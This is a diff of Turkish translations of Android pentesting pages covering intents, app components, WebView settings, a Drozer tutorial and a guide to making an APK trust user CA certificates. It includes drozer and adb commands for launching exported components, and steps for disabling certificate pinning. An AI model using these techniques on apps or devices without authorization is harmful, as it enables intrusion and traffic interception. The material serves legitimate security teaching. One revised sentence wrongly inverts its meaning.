zorunlu kılacak şekilde ayarlanabilir ve bu, kimin etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı ekler. +Ayrıca, geliştiricilerin bu bileşenlere erişimi daha da güvence altına almak için belirli izinler talep etme seçeneği vardır. **`permission`** özniteliği, yalnızca belirlenen izne sahip uygulamaların bileşene erişebilmesini sağlamak için ayarlanabilir ve bu, kimin etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı ekler. ```java ``` -### Implicit Intents +### İkincil Niyetler -Intents, bir Intent yapıcı kullanılarak programatik olarak oluşturulur: +Niyetler, bir Niyet yapıcısı kullanılarak programatik olarak oluşturulur: ```java Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); ``` @@ -145,11 +145,11 @@ Bu intent, aşağıdaki örnekte olduğu gibi manifest içinde tanımlanmalıdı ``` Bir intent-filter'ın bir mesajı alabilmesi için **action**, **data** ve **category** ile eşleşmesi gerekir. -"Intent çözümleme" süreci, her mesajın hangi uygulama tarafından alınacağını belirler. Bu süreç, **priority attribute**'unu dikkate alır; bu, i**ntent-filter bildirimi** içinde ayarlanabilir ve **daha yüksek önceliğe sahip olan seçilecektir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Bir **çelişki** ortaya çıkarsa, **kullanıcının karar verebilmesi için** bir "chooser" penceresi görünür. +"Intent çözümleme" süreci, her mesajın hangi uygulama tarafından alınacağını belirler. Bu süreç, **priority attribute**'unu dikkate alır; bu, i**ntent-filter bildirimi** içinde ayarlanabilir ve **daha yüksek önceliğe sahip olan seçilecektir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Eğer bir **çelişki** oluşursa, **kullanıcının karar verebileceği** bir "chooser" penceresi görünür. ### Açık Intents -Açık bir intent, hedeflediği sınıf adını belirtir: +Açık bir intent, hedef aldığı sınıf adını belirtir: ```java Intent downloadIntent = new (this, DownloadService.class): ``` @@ -161,11 +161,11 @@ context.startService(intent); ``` ### Pending Intents -Bunlar, diğer uygulamaların **uygulamanız adına eylemler gerçekleştirmesine** olanak tanır ve uygulamanızın kimliğini ve izinlerini kullanır. Bir Pending Intent oluştururken, **bir intent ve gerçekleştirilecek eylem belirtilmelidir**. Eğer **belirtilen intent Açık Değilse** (hangi intent'in çağrılabileceğini belirtmiyorsa), **kötü niyetli bir uygulama, kurban uygulama adına belirtilen eylemi gerçekleştirebilir**. Ayrıca, **bir eylem belirtilmezse**, kötü niyetli uygulama **kurban adına herhangi bir eylem gerçekleştirebilir**. +Bunlar diğer uygulamaların **uygulamanız adına eylemler gerçekleştirmesine** olanak tanır, uygulamanızın kimliği ve izinlerini kullanarak. Bir Pending Intent oluştururken **bir intent ve gerçekleştirilecek eylem belirtilmelidir**. Eğer **belirtilen intent Açık Değilse** (hangi intentin çağrılabileceğini belirtmiyorsa) **kötü niyetli bir uygulama, mağdur uygulama adına belirtilen eylemi gerçekleştirebilir**. Dahası, **bir eylem belirtilmemişse**, kötü niyetli uygulama **mağdur adına herhangi bir eylem gerçekleştirebilir**. ### Broadcast Intents -Önceki intent'lerin aksine, yalnızca bir uygulama tarafından alınan, broadcast intent'ler **birden fazla uygulama tarafından alınabilir**. Ancak, API sürüm 14'ten itibaren, mesajı alacak uygulamanın **belirtilmesi mümkündür**; bu, Intent.setPackage kullanılarak yapılır. +Önceki intentlerden farklı olarak, yalnızca bir uygulama tarafından alınan, broadcast intentler **birden fazla uygulama tarafından alınabilir**. Ancak, API sürüm 14'ten itibaren, mesajı alacak uygulamanın **belirtilmesi mümkündür**; bu, Intent.setPackage kullanılarak yapılır. Alternatif olarak, **yayın gönderirken bir izin belirtmek de mümkündür**. Alıcı uygulamanın bu izne sahip olması gerekecektir. @@ -176,9 +176,9 @@ Ayrıca, **`LocalBroadCastManager`**'dan **`sendBroadcast`** fonksiyonunu kullan ### Sticky Broadcasts -Bu tür Yayınlar, **gönderildikten uzun süre sonra erişilebilir**.\ +Bu tür Yayınlar **gönderildikten uzun süre sonra erişilebilir**.\ API seviye 21'de kullanımdan kaldırılmıştır ve **kullanılmaması önerilir**.\ -**Herhangi bir uygulamanın verileri dinlemesine ve ayrıca değiştirmesine olanak tanır.** +**Herhangi bir uygulamanın verileri dinlemesine, aynı zamanda bunları değiştirmesine olanak tanır.** "sticky" kelimesini içeren fonksiyonlar bulursanız, örneğin **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`**, **etkisini kontrol edin ve bunları kaldırmaya çalışın**. @@ -217,26 +217,26 @@ HTML sayfaları kullanmadan [derin bağlantıları nasıl çağıracağınızı ## AIDL - Android Arayüz Tanım Dili -**Android Arayüz Tanım Dili (AIDL)**, Android uygulamalarında **işlem arası iletişim** (IPC) yoluyla istemci ve hizmet arasında iletişimi kolaylaştırmak için tasarlanmıştır. Android'de başka bir işlemin belleğine doğrudan erişim izni verilmediğinden, AIDL, nesneleri işletim sistemi tarafından anlaşılan bir formata marşal ederek süreci basitleştirir ve böylece farklı işlemler arasında iletişimi kolaylaştırır. +**Android Arayüz Tanım Dili (AIDL)**, Android uygulamalarında istemci ve hizmet arasında **işlem arası iletişim** (IPC) sağlamak için tasarlanmıştır. Android'de başka bir işlemin belleğine doğrudan erişim izni verilmediğinden, AIDL, nesneleri işletim sistemi tarafından anlaşılan bir formata marşallayarak, farklı işlemler arasında iletişimi kolaylaştırır. ### Temel Kavramlar -- **Bağlı Hizmetler**: Bu hizmetler IPC için AIDL kullanır, etkinliklerin veya bileşenlerin bir hizmete bağlanmasına, isteklerde bulunmasına ve yanıt almasına olanak tanır. Hizmetin sınıfındaki `onBind` metodu, etkileşimi başlatmak için kritik öneme sahiptir ve güvenlik incelemesi için zafiyet arayışında önemli bir alan olarak işaretlenmelidir. +- **Bağlı Hizmetler**: Bu hizmetler IPC için AIDL kullanır, aktivitelerin veya bileşenlerin bir hizmete bağlanmasına, isteklerde bulunmasına ve yanıt almasına olanak tanır. Hizmetin sınıfındaki `onBind` metodu, etkileşimi başlatmak için kritik öneme sahiptir ve güvenlik incelemesi için zafiyet arayışında önemli bir alan olarak işaretlenmelidir. -- **Messenger**: Bağlı bir hizmet olarak çalışan Messenger, `onBind` metodunu kullanarak veri işleme odaklı IPC'yi kolaylaştırır. Bu metodun, güvensiz veri işleme veya hassas fonksiyonların yürütülmesi açısından dikkatlice incelenmesi önemlidir. +- **Messenger**: Bağlı bir hizmet olarak çalışan Messenger, `onBind` metodu aracılığıyla veri işleme odaklı IPC'yi kolaylaştırır. Bu metodun, güvensiz veri işleme veya hassas fonksiyonların yürütülmesi açısından dikkatlice incelenmesi önemlidir. -- **Binder**: Binder sınıfının doğrudan kullanımı AIDL'in soyutlaması nedeniyle daha az yaygın olsa da, Binder'ın farklı işlemlerin bellek alanları arasında veri transferini kolaylaştıran bir çekirdek düzeyinde sürücü olarak işlev gördüğünü anlamak faydalıdır. Daha fazla bilgi için [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) adresine başvurabilirsiniz. +- **Binder**: Binder sınıfının doğrudan kullanımı AIDL'in soyutlaması nedeniyle daha az yaygın olsa da, Binder'ın farklı işlemlerin bellek alanları arasında veri transferini kolaylaştıran bir çekirdek düzeyinde sürücü olduğunu anlamak faydalıdır. Daha fazla bilgi için [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) adresine başvurabilirsiniz. ## Bileşenler -Bunlar: **Etkinlikler, Hizmetler, Yayın Alıcıları ve Sağlayıcılar.** +Bunlar: **Aktiviteler, Hizmetler, Yayın Alıcıları ve Sağlayıcılar.** -### Başlatıcı Etkinlik ve diğer etkinlikler +### Başlatıcı Aktivite ve diğer aktiviteler -Android uygulamalarında, **etkinlikler** ekranlar gibidir ve uygulamanın kullanıcı arayüzünün farklı bölümlerini gösterir. Bir uygulama birçok etkinliğe sahip olabilir, her biri kullanıcıya benzersiz bir ekran sunar. +Android uygulamalarında, **aktiviteler** ekranlar gibidir ve uygulamanın kullanıcı arayüzünün farklı bölümlerini gösterir. Bir uygulama birçok aktiviteye sahip olabilir, her biri kullanıcıya benzersiz bir ekran sunar. -**Başlatıcı etkinlik**, bir uygulamanın simgesine dokunduğunuzda başlatılan uygulamanın ana kapısıdır. Uygulamanın manifest dosyasında belirli MAIN ve LAUNCHER niyetleri ile tanımlanmıştır: -```markup +**Başlatıcı aktivite**, bir uygulamanın simgesine dokunduğunuzda başlatılan ana geçittir. Uygulamanın manifest dosyasında belirli MAIN ve LAUNCHER niyetleri ile tanımlanmıştır: +```html @@ -246,11 +246,11 @@ Android uygulamalarında, **etkinlikler** ekranlar gibidir ve uygulamanın kulla ``` Tüm uygulamaların bir başlatıcı aktiviteye ihtiyacı yoktur, özellikle kullanıcı arayüzü olmayanlar, arka plan hizmetleri gibi. -Aktiviteler, manifestte "exported" olarak işaretlenerek diğer uygulamalara veya süreçlere sunulabilir. Bu ayar, diğer uygulamaların bu aktiviteyi başlatmasına izin verir: +Aktiviteler, manifestoda "exported" olarak işaretlenerek diğer uygulamalara veya süreçlere sunulabilir. Bu ayar, diğer uygulamaların bu aktiviteyi başlatmasına izin verir: ```markdown ``` -Ancak, başka bir uygulamadan bir aktiviteye erişmek her zaman bir güvenlik riski değildir. Hassas verilerin yanlış bir şekilde paylaşılması durumunda endişe ortaya çıkar; bu, bilgi sızıntılarına yol açabilir. +Ancak, başka bir uygulamadan bir aktiviteye erişmek her zaman bir güvenlik riski değildir. Hassas verilerin yanlış bir şekilde paylaşılması durumunda endişe ortaya çıkar, bu da bilgi sızıntılarına yol açabilir. Bir aktivitenin yaşam döngüsü **onCreate yöntemi ile başlar**, UI'yı kurar ve aktiviteyi kullanıcı ile etkileşim için hazırlar. @@ -274,9 +274,9 @@ super.onCreate(); ``` ### Services -[Services](https://developer.android.com/guide/components/services) **arka plan operatifleri** olarak, kullanıcı arayüzü olmadan görevleri yerine getirebilen birimlere sahiptir. Bu görevler, kullanıcılar farklı uygulamalara geçse bile çalışmaya devam edebilir, bu da hizmetleri **uzun süreli işlemler** için kritik hale getirir. +[Services](https://developer.android.com/guide/components/services) **arka plan operatifleri** olarak, kullanıcı arayüzü olmadan görevleri yerine getirebilen birimlere denir. Bu görevler, kullanıcılar farklı uygulamalara geçse bile çalışmaya devam edebilir, bu da hizmetleri **uzun süreli işlemler** için kritik hale getirir. -Hizmetler çok yönlüdür; çeşitli şekillerde başlatılabilirler, **Intents** bunları bir uygulamanın giriş noktası olarak başlatmanın birincil yöntemidir. Bir hizmet `startService` yöntemi kullanılarak başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir hizmetin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi hizmete bağlamak için `bindService` yöntemi kullanılır ve veri geçişi için `onBind` yöntemi devreye girer. +Hizmetler çok yönlüdür; çeşitli şekillerde başlatılabilirler, **Intents** bunları başlatmanın birincil yöntemidir ve bir uygulamanın giriş noktası olarak kullanılır. Bir hizmet `startService` yöntemi ile başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir hizmetin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi hizmete bağlamak için `bindService` yöntemi kullanılır ve veri geçişi için `onBind` yöntemi devreye girer. Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya kullanıcıların bir uygulama ile etkileşimini engellemeden ağ verisi alma gibi işlemlerdir. Ayrıca, hizmetler **dışa aktarma** yoluyla aynı cihazdaki diğer süreçlere erişilebilir hale getirilebilir. Bu, varsayılan bir davranış değildir ve Android Manifest dosyasında açık bir yapılandırma gerektirir: ```xml @@ -284,21 +284,21 @@ Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya kullanıcıl ``` ### Broadcast Receivers -**Broadcast receivers** bir mesajlaşma sisteminde dinleyici olarak işlev görür, böylece birden fazla uygulama sistemden gelen aynı mesajlara yanıt verebilir. Bir uygulama **iki ana yolla** **bir alıcı kaydedebilir**: uygulamanın **Manifest** dosyası aracılığıyla veya uygulamanın kodu içinde **dinamik olarak** **`registerReceiver`** API'si ile. Manifest'te, yayınlar izinlerle filtrelenirken, dinamik olarak kaydedilen alıcılar kaydedilme sırasında izinleri de belirtebilir. +**Broadcast receivers** mesajlaşma sisteminde dinleyici olarak işlev görür, böylece birden fazla uygulama sistemden gelen aynı mesajlara yanıt verebilir. Bir uygulama **iki ana yolla** **bir alıcı kaydedebilir**: uygulamanın **Manifest** dosyası aracılığıyla veya uygulama kodu içinde **dinamik olarak** **`registerReceiver`** API'si ile. Manifest'te, yayınlar izinlerle filtrelenirken, dinamik olarak kaydedilen alıcılar kaydedilme sırasında izinleri de belirtebilir. **Intent filtreleri**, her iki kayıt yönteminde de kritik öneme sahiptir ve hangi yayınların alıcıyı tetikleyeceğini belirler. Eşleşen bir yayın gönderildiğinde, alıcının **`onReceive`** metodu çağrılır, bu da uygulamanın düşük pil uyarısına yanıt olarak davranışını ayarlamasını sağlar. -Yayınlar ya **asenkron** olabilir, tüm alıcılara sırasız ulaşır, ya da **senkron** olabilir, burada alıcılar belirlenen önceliklere göre yayını alır. Ancak, herhangi bir uygulamanın kendisini önceliklendirebileceği ve bir yayını kesebileceği potansiyel güvenlik riskini not etmek önemlidir. +Yayınlar **asenkron** olabilir, tüm alıcılara sırasız ulaşır, veya **senkron** olabilir, burada alıcılar belirlenen önceliklere göre yayını alır. Ancak, herhangi bir uygulamanın kendisini önceliklendirebileceği ve bir yayını kesebileceği potansiyel güvenlik riskini not etmek önemlidir. -Bir alıcının işlevselliğini anlamak için, sınıfı içinde **`onReceive`** metodunu arayın. Bu metodun kodu, alınan Intent'i manipüle edebilir ve alıcıların veri doğrulama ihtiyacını vurgular, özellikle **Sıralı Yayınlar**'da, bu Intent'i değiştirebilir veya atlayabilir. +Bir alıcının işlevselliğini anlamak için, sınıfı içinde **`onReceive`** metodunu arayın. Bu metodun kodu, alınan Intent'i manipüle edebilir ve alıcıların veri doğrulama ihtiyacını vurgular, özellikle **Sıralı Yayınlar**'da, bu Intent'i değiştirebilir veya düşürebilir. ### Content Provider -**Content Providers**, uygulamalar arasında **yapılandırılmış verilerin paylaşımı** için esastır ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. Uygulamaların veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan verilere erişmesine olanak tanır. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için kritik öneme sahiptir. Ayrıca, uygulamanın manifestinde **`grantUriPermission`** ayarları aracılığıyla geçici erişim sağlanabilir ve `path`, `pathPrefix` ve `pathPattern` gibi nitelikler kullanılarak ayrıntılı erişim kontrolü yapılabilir. +**Content Providers**, uygulamalar arasında **yapılandırılmış verilerin paylaşımı** için esastır ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. Uygulamaların veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan veri erişmesine olanak tanır. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için kritik öneme sahiptir. Ayrıca, uygulamanın manifestinde **`grantUriPermission`** ayarları aracılığıyla geçici erişim sağlanabilir ve `path`, `pathPrefix` ve `pathPattern` gibi nitelikler kullanılarak ayrıntılı erişim kontrolü yapılabilir. -Girdi doğrulaması, SQL enjeksiyonu gibi güvenlik açıklarını önlemek için son derece önemlidir. Content Providers, veri manipülasyonu ve uygulamalar arasında paylaşımı kolaylaştıran temel işlemleri destekler: `insert()`, `update()`, `delete()`, ve `query()`. +Girdi doğrulaması, SQL enjeksiyonu gibi güvenlik açıklarını önlemek için son derece önemlidir. Content Providers temel işlemleri destekler: `insert()`, `update()`, `delete()`, ve `query()`, bu da uygulamalar arasında veri manipülasyonu ve paylaşımını kolaylaştırır. -**FileProvider**, dosyaları güvenli bir şekilde paylaşmaya odaklanan özel bir Content Provider'dır. Erişimi kontrol etmek için belirli niteliklerle uygulamanın manifestinde tanımlanır ve klasör yapılandırmalarını gösteren `android:exported` ve `android:resource` ile belirtilir. Hassas verilerin yanlışlıkla ifşa edilmesini önlemek için dizinleri paylaşırken dikkatli olunması önerilir. +**FileProvider**, dosyaları güvenli bir şekilde paylaşmaya odaklanan özel bir Content Provider'dır. Erişimi kontrol etmek için belirli niteliklerle uygulamanın manifestinde tanımlanır; bu nitelikler `android:exported` ve klasör yapılandırmalarını gösteren `android:resource` ile belirtilir. Hassas verilerin yanlışlıkla ifşa edilmesini önlemek için dizinleri paylaşırken dikkatli olunmalıdır. FileProvider için örnek manifest bildirimi: ```xml @@ -323,7 +323,7 @@ Daha fazla bilgi için kontrol edin: ## WebViews -WebView'ler, Android uygulamaları içinde **mini web tarayıcıları** gibidir, içerikleri ya webden ya da yerel dosyalardan çeker. Normal tarayıcılarla benzer risklerle karşılaşırlar, ancak belirli **ayarlar** aracılığıyla bu **riskleri azaltmanın** yolları vardır. +WebViews, Android uygulamaları içinde **mini web tarayıcıları** gibidir ve içerikleri ya webden ya da yerel dosyalardan çeker. Normal tarayıcılarla benzer risklerle karşılaşırlar, ancak belirli **ayarlar** aracılığıyla bu **riskleri azaltmanın** yolları vardır. Android, iki ana WebView türü sunar: @@ -332,15 +332,15 @@ Android, iki ana WebView türü sunar: Önemli bir nokta, WebView tarayıcılarının cihazın ana tarayıcısıyla **çerez paylaşmamasıdır**. -İçerik yüklemek için `loadUrl`, `loadData` ve `loadDataWithBaseURL` gibi yöntemler mevcuttur. Bu URL'lerin veya dosyaların **kullanım için güvenli olduğundan** emin olmak kritik öneme sahiptir. Güvenlik ayarları `WebSettings` sınıfı aracılığıyla yönetilebilir. Örneğin, `setJavaScriptEnabled(false)` ile JavaScript'in devre dışı bırakılması, XSS saldırılarını önleyebilir. +İçerik yüklemek için `loadUrl`, `loadData` ve `loadDataWithBaseURL` gibi yöntemler mevcuttur. Bu URL'lerin veya dosyaların **kullanım için güvenli** olduğundan emin olmak kritik öneme sahiptir. Güvenlik ayarları `WebSettings` sınıfı aracılığıyla yönetilebilir. Örneğin, `setJavaScriptEnabled(false)` ile JavaScript'in devre dışı bırakılması, XSS saldırılarını önleyebilir. JavaScript "Bridge", Java nesnelerinin JavaScript ile etkileşimde bulunmasına olanak tanır ve Android 4.2'den itibaren güvenlik için yöntemlerin `@JavascriptInterface` ile işaretlenmesi gerekmektedir. -İçerik erişimine izin vermek (`setAllowContentAccess(true)`), WebView'lerin Content Providers'a ulaşmasına olanak tanır, bu da içerik URL'leri güvenli olarak doğrulanmadıkça bir risk oluşturabilir. +İçerik erişimine izin vermek (`setAllowContentAccess(true)`), WebView'ların Content Providers'a ulaşmasına olanak tanır; bu, içerik URL'leri güvenli olarak doğrulanmadıkça bir risk oluşturabilir. Dosya erişimini kontrol etmek için: -- Dosya erişimini devre dışı bırakmak (`setAllowFileAccess(false)`), dosya sistemine erişimi sınırlar, belirli varlıklar için istisnalarla, bunların yalnızca hassas olmayan içerikler için kullanılmasını sağlar. +- Dosya erişimini devre dışı bırakmak (`setAllowFileAccess(false)`), dosya sistemine erişimi sınırlar; belirli varlıklar için istisnalarla, yalnızca hassas olmayan içerikler için kullanılmasını sağlar. ## Diğer Uygulama Bileşenleri ve Mobil Cihaz Yönetimi @@ -348,13 +348,13 @@ Dosya erişimini kontrol etmek için: - **Dijital imzalama**, Android uygulamaları için zorunludur ve uygulamaların yüklemeden önce **gerçekten yazıldığı** garantisini sağlar. Bu süreç, uygulama kimliği için bir sertifika kullanır ve yükleme sırasında cihazın paket yöneticisi tarafından doğrulanmalıdır. Uygulamalar **kendinden imzalı veya harici bir CA tarafından sertifikalandırılmış** olabilir, yetkisiz erişime karşı koruma sağlar ve uygulamanın cihaza teslimatı sırasında değiştirilmediğini garanti eder. -### **Gelişmiş Güvenlik için Uygulama Doğrulaması** +### **Geliştirilmiş Güvenlik için Uygulama Doğrulaması** - **Android 4.2**'den itibaren, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların yüklemeden önce uygulamaların güvenliğini kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar hakkında uyarabilir veya özellikle kötü niyetli olanların yüklenmesini engelleyebilir, kullanıcı güvenliğini artırır. ### **Mobil Cihaz Yönetimi (MDM)** -- **MDM çözümleri**, **Cihaz Yönetimi API'si** aracılığıyla mobil cihazlar için **denetim ve güvenlik** sağlar. Mobil cihazları etkili bir şekilde yönetmek ve güvence altına almak için bir Android uygulamasının yüklenmesini gerektirir. Ana işlevler arasında **şifre politikalarının uygulanması**, **depolama şifrelemesinin zorunlu kılınması** ve **uzaktan veri silme izni verme** bulunur, bu da mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar. +- **MDM çözümleri**, **Cihaz Yönetimi API'si** aracılığıyla mobil cihazlar için **denetim ve güvenlik** sağlar. Mobil cihazları etkili bir şekilde yönetmek ve güvence altına almak için bir Android uygulamasının yüklenmesini gerektirir. Ana işlevler arasında **şifre politikalarının uygulanması**, **depolama şifrelemesinin zorunlu kılınması** ve **uzaktan veri silme izni verme** bulunur; bu da mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar. ```java // Example of enforcing a password policy with MDM DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index 9bc68916a..0010ae69a 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -2,18 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} - - ## Test edilecek APK'lar - [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs'dan) - [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) -**Bu eğitimin bazı bölümleri** [**Drozer belgeleri pdf'inden**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)** alınmıştır.** +**Bu eğitimin bazı bölümleri** [**Drozer belgeleri pdf'sinden**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)** alınmıştır.** ## Kurulum -Drozer Client'ı ana bilgisayarınıza kurun. En son sürümü [buradan](https://github.com/mwrlabs/drozer/releases) indirin. +Drozer Client'ı ana bilgisayarınıza kurun. [en son sürümlerden](https://github.com/mwrlabs/drozer/releases) indirin. ```bash pip install drozer-2.4.4-py2-none-any.whl pip install twisted @@ -29,11 +27,11 @@ Agent 31415 portunda çalışıyor, Drozer Client ve Agent arasında iletişimi ```bash adb forward tcp:31415 tcp:31415 ``` -Son olarak, **uygulamayı** başlatın ve alt kısımdaki "**AÇ**" butonuna basın. +Son olarak, **uygulamayı** başlatın ve alt kısımdaki "**AÇIK**" butonuna basın. ![](<../../../images/image (459).png>) -Ve ona bağlanın: +Ve buna bağlanın: ```bash drozer console connect ``` @@ -43,13 +41,13 @@ drozer console connect | --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | | **Help MODULE** | Seçilen modülün yardımını gösterir | | **list** | Mevcut oturumda çalıştırılabilen tüm drozer modüllerinin bir listesini gösterir. Bu, çalıştırmak için uygun izinlere sahip olmadığınız modülleri gizler. | -| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. | -| **clean** | Android cihazında drozer tarafından saklanan geçici dosyaları kaldırır. | +| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. | +| **clean** | Drozer tarafından Android cihazda saklanan geçici dosyaları kaldırır. | | **load** | Drozer komutlarını içeren bir dosyayı yükler ve bunları sırayla çalıştırır. | | **module** | İnternetten ek drozer modüllerini bulur ve yükler. | -| **unset** | Drozer'in oluşturduğu herhangi bir Linux kabuğuna geçirdiği adlandırılmış bir değişkeni kaldırır. | +| **unset** | Drozer'in oluşturduğu herhangi bir Linux kabuğuna geçirdiği adlandırılmış bir değişkeni kaldırır. | | **set** | Drozer tarafından oluşturulan herhangi bir Linux kabuğuna çevresel değişken olarak geçirilecek bir değişkende bir değeri saklar. | -| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. | +| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. | | **run MODULE** | Bir drozer modülünü çalıştırır | | **exploit** | Drozer, cihazda çalıştırmak için istismarlar oluşturabilir. `drozer exploit list` | | **payload** | İstismarların bir yükü olması gerekir. `drozer payload list` | @@ -85,7 +83,7 @@ Defines Permissions: ```bash run app.package.manifest jakhar.aseem.diva ``` -Paketin **saldırı yüzeyi**: +**Paketin saldırı yüzeyi:** ```bash dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: @@ -103,7 +101,7 @@ is debuggable ### Etkinlikler Bir dışa aktarılmış etkinlik bileşeninin “android:exported” değeri AndroidManifest.xml dosyasında **“true”** olarak ayarlanmıştır: -```markup +```html ``` @@ -121,7 +119,7 @@ Belki bir etkinliği başlatabilir ve sizi başlatmaktan alıkoyması gereken bi ```bash dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList ``` -Ayrıca **adb** ile bir dışa aktarılan etkinliği başlatabilirsiniz: +Ayrıca **adb** üzerinden bir dışa aktarılan etkinliği başlatabilirsiniz: - Paket Adı com.example.demo - Dışa Aktarılan Etkinlik Adı com.example.test.MainActivity @@ -130,15 +128,15 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ``` ### İçerik Sağlayıcıları -Bu gönderi burada yer alacak kadar büyük olduğu için **ona** [**kendi sayfasından buradan erişebilirsiniz**](exploiting-content-providers.md). +Bu gönderi burada yer alacak kadar büyük değil, bu yüzden **ulaşabilirsiniz** [**kendi sayfasında buradan**](exploiting-content-providers.md). ### Hizmetler Dışa aktarılan bir hizmet, Manifest.xml içinde tanımlanır: -```markup +```html ``` -Kodun içinde **check** fonksiyonunu **handleMessage** için kontrol edin, bu fonksiyon **message** alacaktır: +Kodun içinde **check** için \*\*`handleMessage`\*\* fonksiyonunu kontrol edin, bu fonksiyon **message** alacaktır: ![](<../../../images/image (82).png>) @@ -229,7 +227,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo ### Debuggable mı Bir üretim APK'sı asla debuggable olmamalıdır.\ -Bu, çalışan uygulamaya **java debugger** ekleyebileceğiniz, çalışma zamanında inceleyebileceğiniz, kesme noktaları ayarlayabileceğiniz, adım adım ilerleyebileceğiniz, değişken değerlerini toplayabileceğiniz ve hatta bunları değiştirebileceğiniz anlamına gelir. [InfoSec institute'un harika bir makalesi var](../exploiting-a-debuggeable-applciation.md) uygulamanız debuggable olduğunda daha derinlemesine incelemek ve çalışma zamanı kodu enjekte etmek için. +Bu, çalışmakta olan uygulamaya **java debugger** ekleyebileceğiniz, çalışma zamanında inceleyebileceğiniz, kesme noktaları ayarlayabileceğiniz, adım adım ilerleyebileceğiniz, değişken değerlerini toplayabileceğiniz ve hatta bunları değiştirebileceğiniz anlamına gelir. [InfoSec institute'un harika bir makalesi var](../exploiting-a-debuggeable-applciation.md) uygulamanız debuggable olduğunda daha derinlemesine incelemek ve çalışma zamanı kodu enjekte etmek için. Bir uygulama debuggable olduğunda, Manifest'te görünecektir: ```xml diff --git a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index 3c1741392..9ba92e0e1 100644 --- a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -4,7 +4,7 @@ Bazı uygulamalar kullanıcı tarafından indirilen sertifikaları sevmez, bu ne # Otomatik -Araç [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) gerekli değişiklikleri **otomatik olarak** uygulamaya yapacak ve istekleri yakalamaya başlayacak ve ayrıca sertifika pinlemesini devre dışı bırakacaktır (varsa). +Araç [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) gerekli değişiklikleri **otomatik olarak** yapacak ve istekleri yakalamaya başlayacak ve ayrıca sertifika pinlemesini devre dışı bırakacaktır (varsa). # Manuel @@ -12,7 +12,7 @@ Araç [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shrouded ![](../../images/img9.png) -Ardından **Manifest.xml** dosyasına gidiyoruz ve `<\application android>` etiketine kadar kaydırıyoruz ve eğer zaten yoksa aşağıdaki satırı ekleyeceğiz: +Ardından **Manifest.xml** dosyasına gidiyoruz ve `<\application android>` etiketine kadar kaydırıyoruz ve eğer yoksa aşağıdaki satırı ekleyeceğiz: `android:networkSecurityConfig="@xml/network_security_config"` @@ -25,7 +25,7 @@ Eklendikten sonra: ![](../../images/img11.png) Şimdi **res/xml** klasörüne gidin ve aşağıdaki içeriklerle network_security_config.xml adında bir dosya oluşturun/değiştirin: -```markup +```html @@ -37,7 +37,7 @@ Eklendikten sonra: ``` -Sonra dosyayı kaydedin ve tüm dizinlerden çıkın ve apk'yı aşağıdaki komutla yeniden oluşturun: `apktool b *folder-name/* -o *output-file.apk*` +Sonra dosyayı kaydedin ve tüm dizinlerden çıkın ve aşağıdaki komutla apk'yı yeniden oluşturun: `apktool b *folder-name/* -o *output-file.apk*` 